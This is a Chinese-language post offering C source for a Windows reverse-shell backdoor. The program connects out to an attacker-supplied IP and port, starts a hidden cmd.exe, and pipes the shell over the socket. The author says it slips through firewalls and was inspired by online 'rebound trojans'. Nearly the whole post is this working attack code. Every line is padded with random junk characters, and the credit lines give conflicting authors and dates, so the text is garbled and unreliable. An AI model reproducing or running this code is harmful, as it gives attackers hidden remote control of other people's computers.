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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vL~nJv  
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/* ============================== J*s!(J |Q  
Rebound port in Windows NT V;$ME4B\{  
By wind,2006/7 $,R QA^gxW  
===============================*/ 6rlafISvO  
#include D.?Rc'y D  
#include ~_^#/BnAl  
#=r:;,,  
#pragma comment(lib,"wsock32.lib") L h"K"Uv  
YI!ecx%/4  
void OutputShell(); & yFS  
SOCKET sClient;  meQ>mW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }& ;49k  
(izGF;N+  
void main(int argc,char **argv) r(9#kLXg  
{ mZLrU<)Y  
WSADATA stWsaData; nRq @hk  
int nRet; /y/O&`X(  
SOCKADDR_IN stSaiClient,stSaiServer; .|x\6 jf  
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if(argc != 3) It.G-(  
{ fW^\G2Fk  
printf("Useage:\n\rRebound DestIP DestPort\n"); NUH;\*]8s  
return; ,{=pFs2  
} c zTr_>  
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WSAStartup(MAKEWORD(2,2),&stWsaData); lt 74`9,f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [:Kl0m7  
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stSaiClient.sin_family = AF_INET; (dZu&  
stSaiClient.sin_port = htons(0); RK%N:!f q=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CSF-2lSG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6^ UQ{P1;  
{ 6;rJIk@Fx=  
printf("Bind Socket Failed!\n"); z 3RD*3b  
return; U1zcJ l^  
} m]t`;lr<  
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stSaiServer.sin_family = AF_INET; `uL^!-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~Y=v@] 2/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .ET@J`"M  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >|h$d:~n  
{ 8BP.VxX  
printf("Connect Error!"); Ak(_![Q:q\  
return; >jI( ^8?  
} \va'>?#o1  
OutputShell(); (' yBIb\ue  
} pU4k/v555;  
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void OutputShell() iDp'M`(6h  
{ uLok0"}  
char szBuff[1024]; @uru4>1_dy  
SECURITY_ATTRIBUTES stSecurityAttributes; J'99  
OSVERSIONINFO stOsversionInfo; @wa2Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9C;Hm>WEpP  
STARTUPINFO stStartupInfo; 'n1-?T)  
char *szShell; QkMK\Up  
PROCESS_INFORMATION stProcessInformation; c@p4,G  
unsigned long lBytesRead; ,l}mCY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p(B> N!:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3q +C8_:  
stSecurityAttributes.lpSecurityDescriptor = 0; a%R'x]  
stSecurityAttributes.bInheritHandle = TRUE; M6yzqAh  
[QC<u1/"K  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d1MY>zq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z/#l~.o[  
)a:j_jy  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _ U/[n\oC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U;%I" p`Z/  
stStartupInfo.wShowWindow = SW_HIDE; 8WT^ES~C  
stStartupInfo.hStdInput = hReadPipe; .Z[Bz7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; px`o.%`'  
9ure:Dko(Y  
GetVersionEx(&stOsversionInfo); j,@N0~D5  
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switch(stOsversionInfo.dwPlatformId) Vaj4p""\F  
{ a~#MMl  
case 1: ci]IH]x  
szShell = "command.com"; 6$42 -a%b  
break; ~nul[>z  
default: !VNLjbee.  
szShell = "cmd.exe"; 8^/V2;~^,>  
break; V4c$V]7  
} cRt[{ HE  
)"Ef* /+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kJ^)7_3  
/`d|W$vN  
send(sClient,szMsg,77,0); ARcPHV<(2  
while(1) A\{dq:  
{ L`$m<9w'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ] T `6Hz!  
if(lBytesRead) 4}mp~AXy;z  
{ CHeU`!:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /$]#L%   
send(sClient,szBuff,lBytesRead,0); a(|YLN  
} ^Kvbpi,  
else :`FL95  
{ iF.eBL%  
lBytesRead=recv(sClient,szBuff,1024,0); 0I|IL]JL  
if(lBytesRead<=0) break; |$$gj[+^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #. mc+n:I  
} [(%6]L}  
} >FrF"u:kM  
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return; ,mpvGvAI  
}
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